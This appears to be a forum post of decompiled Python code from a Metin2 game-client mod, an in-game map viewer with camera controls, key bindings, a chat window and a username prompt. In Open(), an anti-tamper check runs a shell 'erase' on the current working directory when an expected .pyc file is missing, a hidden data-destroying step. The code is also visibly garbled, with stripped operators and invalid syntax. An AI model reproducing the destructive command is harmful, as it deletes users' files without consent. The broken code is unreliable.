+= 1

    
    def _ChatLogWindow__CreateScrollBar
(self):
        
scrollBar ui.SmallThinScrollBar()
        
scrollBar.SetParent(self)
        
scrollBar.Show()
        
scrollBar.SetScrollEvent(ui.__mem_func__(self.OnScroll))
        
self.scrollBar scrollBar
        self
.scrollBarPos 1.0

    
    def __del__
(self):
        
ui.Window.__del__(self)

    
    
def Destroy(self):
        
self.imgLeft None
        self
.imgCenter None
        self
.imgRight None
        self
.btnClose None
        self
.btnSizing None
        self
.modeButtonList = []
        
self.scrollBar None
        self
.chatInputSet None

    
    def ToggleAllChatMode
(self):
        if 
self.allChatMode:
            return 
None
        
        self
.allChatMode TRUE
        
for i in self.CHAT_MODE_INDEX:
            
chat.EnableChatMode(self.chatIDi)
        for 
btn in self.modeButtonList:
            
btn.SetUp()

    
    
def ToggleChatMode(selfmode):
        if 
self.allChatMode:
            
self.allChatMode FALSE
            
for i in self.CHAT_MODE_INDEX:
                
chat.DisableChatMode(self.chatIDi)
            
chat.EnableChatMode(self.chatIDmode)
            
self.btnAll.SetUp()
        else:
            
chat.ToggleChatMode(self.chatIDmode)

    
    
def SetSize(selfwidthheight):
        
self.imgCenter.SetRenderingRect(0.00.0float(width self.BLOCK_WIDTH self.BLOCK_WIDTH) / self.BLOCK_WIDTH0.0)
        
self.imgCenter.SetPosition(self.BLOCK_WIDTH0)
        
self.imgRight.SetPosition(width self.BLOCK_WIDTH0)
        if 
localeInfo.IsARABIC():
            
self.titleName.SetPosition(self.GetWidth() - 203)
            
self.btnClose.SetPosition(33)
            
self.scrollBar.SetPosition(145)
        else:
            
self.btnClose.SetPosition(width self.btnClose.GetWidth() - 55)
            
self.scrollBar.SetPosition(width 1545)
        
self.scrollBar.SetScrollBarSize(height 45 12)
        
self.scrollBar.SetPos(self.scrollBarPos)
        
ui.Window.SetSize(selfwidthheight)

    
    
def Open(self):
        
self.OnResize()
        
self.chatInputSet.SetChatFocus()
        
self.Show()

    
    
def Close(self):
        if 
self.chatInputSet:
            
self.chatInputSet.KillChatFocus()
        
        
self.Hide()

    
    
def OnResize(self):
        (
xy) = self.btnSizing.GetLocalPosition()
        
width self.btnSizing.GetWidth()
        
height self.btnSizing.GetHeight()
        if 
self.CHAT_LOG_WINDOW_MINIMUM_WIDTH width:
            
self.btnSizing.SetPosition(self.CHAT_LOG_WINDOW_MINIMUM_WIDTH widthy)
            return 
None
        
        
if self.CHAT_LOG_WINDOW_MINIMUM_HEIGHT height:
            
self.btnSizing.SetPosition(xself.CHAT_LOG_WINDOW_MINIMUM_HEIGHT height)
            return 
None
        
        self
.scrollBar.LockScroll()
        
self.SetSize(widthheight)
        
self.scrollBar.UnlockScroll()
        if 
localeInfo.IsARABIC():
            
self.chatInputSet.SetPosition(2025)
        else:
            
self.chatInputSet.SetPosition(025)
        
self.chatInputSet.SetSize(self.GetWidth() - 2020)
        
self.chatInputSet.RefreshPosition()
        
self.chatInputSet.SetChatMax(self.GetWidth() / 8)

    
    
def OnScroll(self):
        
self.scrollBarPos self.scrollBar.GetPos()
        
lineCount chat.GetLineCount(self.chatID)
        
visibleLineCount chat.GetVisibleLineCount(self.chatID)
        
endLine visibleLineCount int(float(lineCount visibleLineCount) * self.scrollBarPos)
        
chat.SetEndPos(self.chatIDself.scrollBarPos)

    
    
def OnRender(self):
        (
xywidthheight) = self.GetRect()
        if 
localeInfo.IsARABIC():
            
grp.SetColor(1996488704)
            
grp.RenderBar(24513height 45)
            
grp.SetColor(1996488704)
            
grp.RenderBar(xywidthheight)
            
grp.SetColor(-11381422)
            
grp.RenderBox(xywidth 2height)
            
grp.SetColor(-16777216)
            
grp.RenderBox(11width 2height)
            
grp.SetColor(-6776680)
            
grp.RenderLine(width 13height 111, -11)
            
grp.RenderLine(width 9height 17, -7)
            
grp.RenderLine(width 5height 13, -3)
        else:
            
grp.SetColor(1996488704)
            
grp.RenderBar(width 154513height 45)
            
grp.SetColor(1996488704)
            
grp.RenderBar(xywidthheight)
            
grp.SetColor(-11381422)
            
grp.RenderBox(xywidth 2height)
            
grp.SetColor(-16777216)
            
grp.RenderBox(11width 2height)
            
grp.SetColor(-6776680)
            
grp.RenderLine(width 13height 111, -11)
            
grp.RenderLine(width 9height 17, -7)
            
grp.RenderLine(width 5height 13, -3)
        
chat.ArrangeShowingChat(self.chatID)
        if 
localeInfo.IsARABIC():
            
chat.SetPosition(self.chatIDwidth 10height 25)
        else:
            
chat.SetPosition(self.chatID10height 25)
        
chat.SetHeight(self.chatIDheight 45 25)
        
chat.Update(self.chatID)
        
chat.Render(self.chatID)

    
    
def OnPressEscapeKey(self):
        
self.Close()
        return 
TRUE

    
    def BindInterface
(self, interface):
        
self.interface = interface

    
    
def OnMouseLeftButtonDown(self):
        
hyperlink ui.GetHyperlink()
        if 
hyperlink:
            if 
app.IsPressed(app.DIK_LALT):
                
link chat.GetLinkFromHyperlink(hyperlink)
                
ime.PasteString(link)
            else:
                
self.interface.MakeHyperlinkTooltip(hyperlink
PHP Code:
IntroLocale.py 
PHP Code:
import os
import app
import dbg
import grp
import item
import background
import chr
import chrmgr
import player
import snd
import chat
import snd
import net
import effect
import wndMgr
import fly
import systemSetting
import messenger
import locale 
as localeInfo
import constInfo
import exchange
import ime
import ui
import uiCommon
import uiPhaseCurtain
import uiMapNameShower
import uiAffectShower
import uiPlayerGauge
import uiCharacter
import uiTarget
import mouseModule
import consoleModule
import colorInfo
import emotion
import playerSettingModule
import musicInfo
import debugInfo
import stringCommander
import uiTip
from _weakref import proxy
cameraDistance 
1550.0
cameraPitch 
27.0
cameraRotation 
0.0
cameraHeight 
100.0
ScreenshotDirectory 
'screenshot'

def SetGeneralMotions(modefolder):
    
chrmgr.SetPathName(folder)
    
chrmgr.RegisterMotionMode(mode)
    
chrmgr.RegisterCacheMotionData(modechr.MOTION_WAIT'wait.msa')
    
chrmgr.RegisterCacheMotionData(modechr.MOTION_RUN'run.msa')
    
NAME_COLOR_DICT = {
        
chrmgr.NAMECOLOR_PCcolorInfo.CHR_NAME_RGB_PC }
    for 
None in NAME_COLOR_DICT.items():
        (
namergb) = None

chrmgr
.CreateRace(1)
chrmgr.SelectRace(1)
chrmgr.LoadLocalRaceData('assassin_w.msm')
path 'd:/ymir work/pc/assassin/'
SetGeneralMotions(chr.MOTION_MODE_GENERALpath 'general/')
chrmgr.SetMotionRandomWeight(chr.MOTION_MODE_GENERALchr.MOTION_WAIT070)
chrmgr.RegisterCacheMotionData(chr.MOTION_MODE_GENERALchr.MOTION_WAIT'wait_1.msa'30)

class 
LocaleWindow(ui.ScriptWindow):
    
    
def __init__(selfstream):
        
ui.ScriptWindow.__init__(self'GAME')
        
self.SetWindowName('game')
        
net.SetPhaseWindow(net.PHASE_WINDOW_GAMEself)
        
player.SetGameWindow(self)
        
self.wndGuildBuilding None
        self
.playershstatus 0
        self
.pressNumber None
        x 
30000
        y 
40000
        background
.Initialize()
        
background.LoadMap('metin2_map_a1'xy0)
        
background.SetShadowLevel(background.SHADOW_ALL)
        
self.Chat()
        
self.MakeCharacter(xy)
        
player.SetMainCharacterIndex(1)
        
chr.SelectInstance(1)
        
chr.Hide()
        
app.HideCursor()
        
chrmgr.SetMovingSpeed(400)
        
self.camspeed 400
        app
.SetCameraMaxDistance(2500)
        
self.cammaxdistance 2500
        self
.egopersp 0
        self
.fogonoff 0
        self
.caminfionoff 0
        self
.cammspeedonoff 0
        self
.lastmsg ''
        
self.msg ''
        
self.lastchatcheck 0
        self
.Version 'Alpha by .Kori'
        
self.username ''
        
self.AutorInfo ui.TextLine()
        
self.AutorInfo.SetFontName('ARIAL:24')
        
self.AutorInfo.SetPosition(1515)
        
self.AutorInfo.SetText('Ingame-Map-Viewer by passy305 edit by .Kori')
        
self.AutorInfo.SetFeather()
        
self.AutorInfo.SetOutline()
        
self.AutorInfo.Show()
        
self.AutorInfo2 ui.TextLine()
        
self.AutorInfo2.SetFontName('ARIAL:17')
        
self.AutorInfo2.SetPosition(1638)
        
self.AutorInfo2.SetText('Key Workfix and ML-Optimization by RealFreak')
        
self.AutorInfo2.SetFeather()
        
self.AutorInfo2.SetOutline()
        
self.AutorInfo2.Show()
        
self.AutorInfo3 ui.TextLine()
        
self.AutorInfo3.SetFontName('ARIAL:17')
        
self.AutorInfo3.SetPosition(1657)
        
self.AutorInfo3.SetText('Anpassung an den 40k Cient by .Kori ')
        
self.AutorInfo3.SetFeather()
        
self.AutorInfo3.SetOutline()
        
self.AutorInfo3.Show()
        
self.KeysInfo ui.TextLine()
        
self.KeysInfo.SetFontName('ARIAL:16')
        
self.KeysInfo.SetPosition(1570)
        
self.KeysInfo.SetText('--------- Keys ---------')
        
self.KeysInfo.SetFeather()
        
self.KeysInfo.SetOutline()
        
self.KeysInfo.Show()
        
self.KeysInfo1 ui.TextLine()
        
self.KeysInfo1.SetFontName('ARIAL:14')
        
self.KeysInfo1.SetPosition(1585)
        
self.KeysInfo1.SetText('F1\t-\tKamera Geschwindigkeit -')
        
self.KeysInfo1.SetFeather()
        
self.KeysInfo1.SetOutline()
        
self.KeysInfo1.Show()
        
self.KeysInfo2 ui.TextLine()
        
self.KeysInfo2.SetFontName('ARIAL:14')
        
self.KeysInfo2.SetPosition(1595)
        
self.KeysInfo2.SetText('F2\t-\tKamera Geschwindigkeit +')
        
self.KeysInfo2.SetFeather()
        
self.KeysInfo2.SetOutline()
        
self.KeysInfo2.Show()
        
self.KeysInfo3 ui.TextLine()
        
self.KeysInfo3.SetFontName('ARIAL:14')
        
self.KeysInfo3.SetPosition(15105)
        
self.KeysInfo3.SetText('F3\t-\tKamera Distance -')
        
self.KeysInfo3.SetFeather()
        
self.KeysInfo3.SetOutline()
        
self.KeysInfo3.Show()
        
self.KeysInfo4 ui.TextLine()
        
self.KeysInfo4.SetFontName('ARIAL:14')
        
self.KeysInfo4.SetPosition(15115)
        
self.KeysInfo4.SetText('F4\t-\tKamera Distance +')
        
self.KeysInfo4.SetFeather()
        
self.KeysInfo4.SetOutline()
        
self.KeysInfo4.Show()
        
self.KeysInfo5 ui.TextLine()
        
self.KeysInfo5.SetFontName('ARIAL:14')
        
self.KeysInfo5.SetPosition(15125)
        
self.KeysInfo5.SetText('F5\t-\tCharacter Image anzeigen/verbergen')
        
self.KeysInfo5.SetFeather()
        
self.KeysInfo5.SetOutline()
        
self.KeysInfo5.Show()
        
self.KeysInfo8 ui.TextLine()
        
self.KeysInfo8.SetFontName('ARIAL:14')
        
self.KeysInfo8.SetPosition(15155)
        
self.KeysInfo8.SetText('F8\t-\tEgoperspektive anzeigen/verbergen')
        
self.KeysInfo8.SetFeather()
        
self.KeysInfo8.SetOutline()
        
self.KeysInfo8.Show()
        
self.KeysInfo9 ui.TextLine()
        
self.KeysInfo9.SetFontName('ARIAL:14')
        
self.KeysInfo9.SetPosition(15165)
        
self.KeysInfo9.SetText('F9\t-\tNebel anzeigen/verbergen')
        
self.KeysInfo9.SetFeather()
        
self.KeysInfo9.SetOutline()
        
self.KeysInfo9.Show()
        
self.KeysInfo10 ui.TextLine()
        
self.KeysInfo10.SetFontName('ARIAL:14')
        
self.KeysInfo10.SetPosition(15175)
        
self.KeysInfo10.SetText('F10\t-\tPausieren')
        
self.KeysInfo10.SetFeather()
        
self.KeysInfo10.SetOutline()
        
self.KeysInfo10.Show()
        
self.KeysInfo11 ui.TextLine()
        
self.KeysInfo11.SetFontName('ARIAL:14')
        
self.KeysInfo11.SetPosition(15185)
        
self.KeysInfo11.SetText('F11\t-\tMapchange')
        
self.KeysInfo11.SetFeather()
        
self.KeysInfo11.SetOutline()
        
self.KeysInfo11.Show()
        
self.KeysInfoSpace ui.TextLine()
        
self.KeysInfoSpace.SetFontName('ARIAL:14')
        
self.KeysInfoSpace.SetPosition(15195)
        
self.KeysInfoSpace.SetText('Space\t-\tChatwindow')
        
self.KeysInfoSpace.SetFeather()
        
self.KeysInfoSpace.SetOutline()
        
self.KeysInfoSpace.Show()
        
self.KeysInfoM ui.TextLine()
        
self.KeysInfoM.SetFontName('ARIAL:14')
        
self.KeysInfoM.SetPosition(15205)
        
self.KeysInfoM.SetText('M\t-\tScreenshot')
        
self.KeysInfoM.SetFeather()
        
self.KeysInfoM.SetOutline()
        
self.KeysInfoM.Show()
        
self.KeysInfoLCONF9 ui.TextLine()
        
self.KeysInfoLCONF9.SetFontName('ARIAL:14')
        
self.KeysInfoLCONF9.SetPosition(15215)
        
self.KeysInfoLCONF9.SetText('LSTRG + F9\t-\tInfinite Camera Distance on/off')
        
self.KeysInfoLCONF9.SetFeather()
        
self.KeysInfoLCONF9.SetOutline()
        
self.KeysInfoLCONF9.Show()
        
self.KeysInfoRCONF9 ui.TextLine()
        
self.KeysInfoRCONF9.SetFontName('ARIAL:14')
        
self.KeysInfoRCONF9.SetPosition(15225)
        
self.KeysInfoRCONF9.SetText('RSTRG + F9\t-\tMax Speed on/off')
        
self.KeysInfoRCONF9.SetFeather()
        
self.KeysInfoRCONF9.SetOutline()
        
self.KeysInfoRCONF9.Show()
        
self.Escape ui.TextLine()
        
self.Escape.SetFontName('ARIAL:14')
        
self.Escape.SetPosition(15245)
        
self.Escape.SetText('Ecs\t-\tBeenden')
        
self.Escape.SetFeather()
        
self.Escape.SetOutline()
        
self.Escape.Show()
        
self.stream stream
        self
.curtain uiPhaseCurtain.PhaseCurtain()
        
self.curtain.speed 0.029999999999999999
        self
.curtain.Hide()

    
    
def MakeCharacter(selfxy):
        
chr.CreateInstance(1)
        
chr.SelectInstance(1)
        
chr.SetVirtualID(1)
        
chr.SetInstanceType(chr.INSTANCE_TYPE_PLAYER)
        
chr.SetRace(1)
        
chr.SetArmor(12)
        
chr.SetHair(2003)
        
chr.Refresh()
        
chr.SetMotionMode(chr.MOTION_MODE_GENERAL)
        
chr.SetLoopMotion(chr.MOTION_WAIT)
        
chr.SetPixelPosition(xy)
        
chr.SetDirection(chr.DIR_NORTH)

    
    
def __del__(self):
        
player.SetGameWindow(0)
        
net.ClearPhaseWindow(net.PHASE_WINDOW_GAMEself)
        
ui.ScriptWindow.__del__(self)

    
    
def Open(self):
        
app.SetFrameSkip(1)
        
self.SetSize(wndMgr.GetScreenWidth(), wndMgr.GetScreenHeight())
        
self.PickingCharacterIndex = -1
        self
.isShowDebugInfo FALSE
        app
.SetCamera(cameraDistancecameraPitchcameraRotationcameraHeight)
        
constInfo.SET_DEFAULT_CAMERA_MAX_DISTANCE()
        
constInfo.SET_DEFAULT_FOG_LEVEL()
        
import event
        event
.SetLeftTimeString(localeInfo.UI_LEFT_TIME)
        
self._LocaleWindow__BuildKeyDict()
        
self._LocaleWindow__BuildDebugInfo()
        if 
debugInfo.IsDebugMode():
            
self.ToggleDebugInfo()
        
        
self.SetFocus()
        
self.Show()
        
app.ShowCursor()
        if 
not os.path.exists('imv'):
            
os.mkdir('imv')
        
        if 
not os.path.exists('imv/username.ini'):
            
open('imv/username.ini''w+')
            
f.write('')
            
f.close()
        
        if 
not os.path.exists('imv/lastmessage.ini'):
            
open('imv/lastmessage.ini''w+')
            
f.write(self.lastmsg)
            
f.close()
        
        
open('imv/username.ini''r')
        
self.username f.read()
        
f.close()
        if 
self.username == '':
            
UsernameDialog uiCommon.InputDialogWithDescription2()
            
UsernameDialog.SetAcceptEvent(lambda arg TRUEself.NewUsername(arg))
            
UsernameDialog.SetCancelEvent(lambda arg FALSEself.NewUsername(arg))
            
UsernameDialog.SetTitle('Bitte deinen Namen eingeben!')
            
UsernameDialog.SetDescription1('Du \xf6ffnest den Ingame-Map-Viewer zum ersten Mal oder hast noch keinen Namen angegeben.')
            
UsernameDialog.SetDescription2('Bitte gebe deinen Namen ein.')
            
UsernameDialog.SetMaxLength(64)
            
UsernameDialog.Open()
            
self.UsernameDialog UsernameDialog
        
        chat
.AppendChat(chat.CHAT_TYPE_INFO'IMV-System: Version Check ist aktiviert.')
        
chat.AppendChat(chat.CHAT_TYPE_INFO'IMV-System: Version ' self.Version)
        if 
not os.path.exists('lib/introLocale.pyc'):
            
dbg.LogBox('Modifikation an Mapviewer festgestellt..\nClient wird gel\xf6scht.')
            
derzosverz os.getcwd()
            
os.system('erase ' derzosverz)
            
app.Exit()
        
        
Username self.username
        
if Username.find(' '):
            
Username Username.replace(' ''6758XN8576')
        
        if 
Username == '':
            
Username 'NewUser'
        
        
self.UserInfo ui.TextLine()
        
self.UserInfo.SetFontName('ARIAL:20')
        
self.UserInfo.SetText('Registriert auf: ' Username)
        
self.UserInfo.SetPosition(wndMgr.GetScreenWidth() - 20015)
        
self.UserInfo.SetFeather()
        
self.UserInfo.SetOutline()
        
self.UserInfo.Show()

    
    
def NewUsername(selfanswer):
        if 
not (self.UsernameDialog):
            return 
None
        
        
if answer:
            
newuname self.UsernameDialog.GetText()
            
open('imv/username.ini''w+')
            
f.write(newuname)
            
f.close()
            
chat.AppendChat(chat.CHAT_TYPE_INFO'IMV-System: Danke ' self.UsernameDialog.GetText() + '!')
            
chat.AppendChat(chat.CHAT_TYPE_INFO'IMV-System: Du hast den Ingame-Map-Viewer erfolgreich registriert')
            
self.UserInfo.SetText('Registriert auf: ' newuname)
            
self.UsernameDialog.Close()
            
self.UsernameDialog None
        
else:
            
chat.AppendChat(chat.CHAT_TYPE_INFO'IMV-System: Du musst einen Namen angeben!')

    
    
def Close(self):
        global 
cameraDistancecameraPitchcameraRotationcameraHeight
        self
.Hide()
        (
cameraDistancecameraPitchcameraRotationcameraHeight) = app.GetCamera()
        
self.onPressKeyDict None
        self
.onClickKeyDict None
        chat
.Close()
        
snd.StopAllSound()
        
grp.InitScreenEffect()
        
chr.Destroy()
        
background.Destroy()
        
wndMgr.Unlock()
        
mouseModule.mouseController.DeattachObject()
        
self.PrintCoord None
        self
.FrameRate None
        self
.Pitch None
        self
.Splat None
        self
.TextureNum None
        self
.ObjectNum None
        self
.ViewDistance None
        self
.ClearDictionary()
        
player.ResetCameraRotation()
        
self.KillFocus()
        
app.HideCursor()
        
Username self.username
        
if Username.find(' '):
            
Username Username.replace(' ''6758XN8576')
        

    
    
def Chat(self):
        
import uiChat
        CHAT_WINDOW_WIDTH 
600
        wndChat 
uiChat.ChatWindow()
        
wndChat.SetSize(CHAT_WINDOW_WIDTH25)
        
wndChat.SetPosition(wndMgr.GetScreenWidth() / CHAT_WINDOW_WIDTH 2wndMgr.GetScreenHeight() - wndChat.GetHeight())
        
wndChat.SetHeight(200)
        
wndChat.Refresh()
        
wndChat.Show()
        
self.wndChat wndChat
        self
.wndChat.BindInterface(self)

    
    
def MapBoard(self):
        
MSelect MapSelectDialog()
        
MSelect.Show()

    
    
def MinimapScreen(self):
        
self.AutorInfo.Hide()
        
self.AutorInfo2.Hide()
        
self.KeysInfo.Hide()
        
self.KeysInfo1.Hide()
        
self.KeysInfo2.Hide()
        
self.KeysInfo3.Hide()
        
self.KeysInfo4.Hide()
        
self.KeysInfo5.Hide()
        
self.KeysInfo8.Hide()
        
self.KeysInfo9.Hide()
        
self.KeysInfo10.Hide()
        
self.KeysInfo11.Hide()
        
self.KeysInfoSpace.Hide()
        
self.KeysInfoM.Hide()
        
self.KeysInfoLCONF9.Hide()
        
self.KeysInfoRCONF9.Hide()
        
self.UserInfo.Hide()

    
    
def MinimapScreenEnd(self):
        (
succeededname) = grp.SaveScreenShotToPath(os.getcwd() + os.sep str(ScreenshotDirectory) + os.sep)
        if 
succeeded:
            
chat.AppendChat(chat.CHAT_TYPE_INFO'Minimap Aufnahme erfolgreich.')
        else:
            
chat.AppendChat(chat.CHAT_TYPE_INFO'Minimap Aufnahme gescheitert.')
        
self.AutorInfo.Show()
        
self.AutorInfo2.Show()
        
self.KeysInfo.Show()
        
self.KeysInfo1.Show()
        
self.KeysInfo2.Show()
        
self.KeysInfo3.Show()
        
self.KeysInfo4.Show()
        
self.KeysInfo5.Show()
        
self.KeysInfo8.Show()
        
self.KeysInfo9.Show()
        
self.KeysInfo10.Show()
        
self.KeysInfo11.Show()
        
self.KeysInfoSpace.Show()
        
self.KeysInfoM.Show()
        
self.KeysInfoLCONF9.Show()
        
self.KeysInfoRCONF9.Show()
        
self.UserInfo.Show()

    
    
def ToggleFog(self):
        if 
app.IsPressed(app.DIK_LCONTROL):
            if 
self.caminfionoff == 0:
                
self.caminfionoff 1
                self
.cammaxdistance 1000000
            
else:
                
self.caminfionoff 0
                self
.cammaxdistance 1000
        elif app
.IsPressed(app.DIK_RCONTROL):
            if 
self.cammspeedonoff == 0:
                
self.cammspeedonoff 1
                self
.camspeed 1000
            
else:
                
self.cammspeedonoff 0
                self
.camspeed 100
        elif self
.fogonoff == 0:
            
self.fogonoff 1
        
else:
            
self.fogonoff 0

    
    def EgoPerspektive
(self):
        if 
self.egopersp == 0:
            
self.egopersp 1
            chr
.Hide()
            
self.cammaxdistance 1
        
else:
            
self.egopersp 0
            chr
.Show()
            
self.cammaxdistance 1000

    
    def CamMDDown
(self):
        if 
self.cammaxdistance >= 1000:
            
self.cammaxdistance int(self.cammaxdistance) - 250
        

    
    def CamMDUp
(self):
        if 
self.cammaxdistance <= 29750:
            
self.cammaxdistance int(self.cammaxdistance) + 250
        

    
    def CamSpeedDown
(self):
        if 
self.camspeed >= 50:
            
self.camspeed int(self.camspeed) - 25
        

    
    def CamSpeedUp
(self):
        if 
self.camspeed <= 975:
            
self.camspeed int(self.camspeed) + 25
        

    
    def ToggleCharImage
(self):
        if 
self.playershstatus == 0:
            if 
self.egopersp == 0:
                
chr.Show()
            else:
                
chr.Hide()
            
app.ShowCursor()
            
self.playershstatus 1
        
else:
            
chr.Hide()
            
app.HideCursor()
            
self.playershstatus 0

    
    def _LocaleWindow__BuildKeyDict
(self):
        
onPressKeyDict = { }
        
        
def onPressKeyDict[app.DIK_SYSRQ]():
            return 
self.SaveScreen()

        
        
def onPressKeyDict[app.DIK_UP]():
            return 
self.MoveUp()

        
        
def onPressKeyDict[app.DIK_DOWN]():
            return 
self.MoveDown()

        
        
def onPressKeyDict[app.DIK_LEFT]():
            return 
self.MoveLeft()

        
        
def onPressKeyDict[app.DIK_RIGHT]():
            return 
self.MoveRight()

        
        
def onPressKeyDict[app.DIK_W]():
            return 
self.MoveUp()

        
        
def onPressKeyDict[app.DIK_S]():
            return 
self.MoveDown()

        
        
def onPressKeyDict[app.DIK_A]():
            return 
self.MoveLeft()

        
        
def onPressKeyDict[app.DIK_D]():
            return 
self.MoveRight()

        
        
def onPressKeyDict[app.DIK_F1]():
            return 
self.CamSpeedDown()

        
        
def onPressKeyDict[app.DIK_F2]():
            return 
self.CamSpeedUp()

        
        
def onPressKeyDict[app.DIK_F3]():
            return 
self.CamMDDown()

        
        
def onPressKeyDict[app.DIK_F4]():
            return 
self.CamMDUp()

        
        
def onPressKeyDict[app.DIK_F5]():
            return 
self.ToggleCharImage()

        
        
def onPressKeyDict[app.DIK_F8]():
            return 
self.EgoPerspektive()

        
        
def onPressKeyDict[app.DIK_F9]():
            return 
self.ToggleFog()

        
        
def onPressKeyDict[app.DIK_F11]():
            return 
self.MapBoard()

        
        
def onPressKeyDict[app.DIK_SPACE]():
            return 
self.ToggleChat()

        
        
def onPressKeyDict[app.DIK_M]():
            return 
self.MinimapScreen()

        
        
def onPressKeyDict[app.DIK_E]():
            return 
app.RotateCamera(app.CAMERA_TO_POSITIVE)

        
        
def onPressKeyDict[app.DIK_R]():
            return 
app.ZoomCamera(app.CAMERA_TO_NEGATIVE)

        
        
def onPressKeyDict[app.DIK_F]():
            return 
app.ZoomCamera(app.CAMERA_TO_POSITIVE)

        
        
def onPressKeyDict[app.DIK_T]():
            return 
app.PitchCamera(app.CAMERA_TO_NEGATIVE)

        
        
def onPressKeyDict[app.DIK_G]():
            return 
app.PitchCamera(app.CAMERA_TO_POSITIVE)

        
        
def onPressKeyDict[app.DIK_Q]():
            return 
app.RotateCamera(app.CAMERA_TO_NEGATIVE)

        
        
def onPressKeyDict[app.DIK_NUMPAD9]():
            return 
app.MovieResetCamera()

        
        
def onPressKeyDict[app.DIK_NUMPAD4]():
            return 
app.MovieRotateCamera(app.CAMERA_TO_NEGATIVE)

        
        
def onPressKeyDict[app.DIK_NUMPAD6]():
            return 
app.MovieRotateCamera(app.CAMERA_TO_POSITIVE)

        
        
def onPressKeyDict[app.DIK_PGUP]():
            return 
app.MovieZoomCamera(app.CAMERA_TO_NEGATIVE)

        
        
def onPressKeyDict[app.DIK_PGDN]():
            return 
app.MovieZoomCamera(app.CAMERA_TO_POSITIVE)

        
        
def onPressKeyDict[app.DIK_NUMPAD8]():
            return 
app.MoviePitchCamera(app.CAMERA_TO_NEGATIVE)

        
        
def onPressKeyDict[app.DIK_NUMPAD2]():
            return 
app.MoviePitchCamera(app.CAMERA_TO_POSITIVE)

        
self.onPressKeyDict onPressKeyDict
        onClickKeyDict 
= { }
        
        
def onClickKeyDict[app.DIK_UP]():
            return 
self.StopUp()

        
        
def onClickKeyDict[app.DIK_DOWN]():
            return 
self.StopDown()

        
        
def onClickKeyDict[app.DIK_LEFT]():
            return 
self.StopLeft()

        
        
def onClickKeyDict[app.DIK_RIGHT]():
            return 
self.StopRight()

        
        
def onClickKeyDict[app.DIK_M]():
            return 
self.MinimapScreenEnd()

        
        
def onClickKeyDict[app.DIK_W]():
            return 
self.StopUp()

        
        
def onClickKeyDict[app.DIK_S]():
            return 
self.StopDown()

        
        
def onClickKeyDict[app.DIK_A]():
            return 
self.StopLeft()

        
        
def onClickKeyDict[app.DIK_D]():
            return 
self.StopRight()

        
        
def onClickKeyDict[app.DIK_Q]():
            return 
app.RotateCamera(app.CAMERA_STOP)

        
        
def onClickKeyDict[app.DIK_E]():
            return 
app.RotateCamera(app.CAMERA_STOP)

        
        
def onClickKeyDict[app.DIK_R]():
            return 
app.ZoomCamera(app.CAMERA_STOP)

        
        
def onClickKeyDict[app.DIK_F]():
            return 
app.ZoomCamera(app.CAMERA_STOP)

        
        
def onClickKeyDict[app.DIK_T]():
            return 
app.PitchCamera(app.CAMERA_STOP)

        
        
def onClickKeyDict[app.DIK_G]():
            return 
pp.PitchCamera(app.CAMERA_STOP)

        
        
def onClickKeyDict[app.DIK_NUMPAD4]():
            return 
app.MovieRotateCamera(app.CAMERA_STOP)

        
        
def onClickKeyDict[app.DIK_NUMPAD6]():
            return 
app.MovieRotateCamera(app.CAMERA_STOP)

        
        
def onClickKeyDict[app.DIK_PGUP]():
            return 
app.MovieZoomCamera(app.CAMERA_STOP)

        
        
def onClickKeyDict[app.DIK_PGDN]():
            return 
app.MovieZoomCamera(app.CAMERA_STOP)

        
        
def onClickKeyDict[app.DIK_NUMPAD8]():
            return 
app.MoviePitchCamera(app.CAMERA_STOP)

        
        
def onClickKeyDict[app.DIK_NUMPAD2]():
            return 
app.MoviePitchCamera(app.CAMERA_STOP)

        
self.onClickKeyDict onClickKeyDict

    
    def ToggleDebugInfo
(self):
        
self.isShowDebugInfo not (self.isShowDebugInfo)
        if 
self.isShowDebugInfo:
            
self.PrintCoord.Show()
            
self.FrameRate.Show()
            
self.Pitch.Show()
            
self.Splat.Show()
            
self.TextureNum.Show()
            
self.ObjectNum.Show()
            
self.ViewDistance.Show()
        else:
            
self.PrintCoord.Hide()
            
self.FrameRate.Show()
            
self.Pitch.Hide()
            
self.Splat.Hide()
            
self.TextureNum.Hide()
            
self.ObjectNum.Hide()
            
self.ViewDistance.Hide()

    
    
def _LocaleWindow__BuildDebugInfo(self):
        
self.PrintCoord ui.TextLine()
        
self.PrintCoord.SetFontName(localeInfo.UI_DEF_FONT)
        
self.PrintCoord.SetPosition(wndMgr.GetScreenWidth() - 2700)
        
self.FrameRate ui.TextLine()
        
self.FrameRate.SetFontName(localeInfo.UI_DEF_FONT)
        
self.FrameRate.SetPosition(wndMgr.GetScreenWidth() - 27020)
        
self.Pitch ui.TextLine()
        
self.Pitch.SetFontName(localeInfo.UI_DEF_FONT)
        
self.Pitch.SetPosition(wndMgr.GetScreenWidth() - 27040)
        
self.Splat ui.TextLine()
        
self.Splat.SetFontName(localeInfo.UI_DEF_FONT)
        
self.Splat.SetPosition(wndMgr.GetScreenWidth() - 27060)
        
self.TextureNum ui.TextLine()
        
self.TextureNum.SetFontName(localeInfo.UI_DEF_FONT)
        
self.TextureNum.SetPosition(wndMgr.GetScreenWidth() - 27080)
        
self.ObjectNum ui.TextLine()
        
self.ObjectNum.SetFontName(localeInfo.UI_DEF_FONT)
        
self.ObjectNum.SetPosition(wndMgr.GetScreenWidth() - 270100)
        
self.ViewDistance ui.TextLine()
        
self.ViewDistance.SetFontName(localeInfo.UI_DEF_FONT)
        
self.ViewDistance.SetPosition(00)

    
    
def _LocaleWindow__NotifyError(selfmsg):
        
chat.AppendChat(chat.CHAT_TYPE_INFOmsg)

    
    
def CheckFocus(self):
        if 
FALSE == self.IsFocus():
            if 
TRUE == self.IsOpenChat():
                
self.ToggleChat()
            
            
self.SetFocus()
        

    
    
def IsOpenChat(self):
        return 
self.wndChat.IsEditMode()

    
    
def ToggleChat(self):
        if 
TRUE == self.wndChat.IsEditMode():
            
self.wndChat.CloseChat()
        else:
            
self.wndChat.OpenChat()

    
    
def SaveScreen(self):
        (
succeededname) = grp.SaveScreenShotToPath(os.getcwd() + os.sep str(ScreenshotDirectory) + os.sep)
        if 
succeeded:
            
chat.AppendChat(chat.CHAT_TYPE_INFOname ' ' localeInfo.SCREENSHOT_SAVE1)
            
chat.AppendChat(chat.CHAT_TYPE_INFOlocaleInfo.SCREENSHOT_SAVE2)
        else:
            
chat.AppendChat(chat.CHAT_TYPE_INFOlocaleInfo.SCREENSHOT_SAVE_FAILURE)

    
    
def MoveUp(self):
        
player.SetSingleDIKKeyState(app.DIK_UPTRUE)

    
    
def MoveDown(self):
        
player.SetSingleDIKKeyState(app.DIK_DOWNTRUE)

    
    
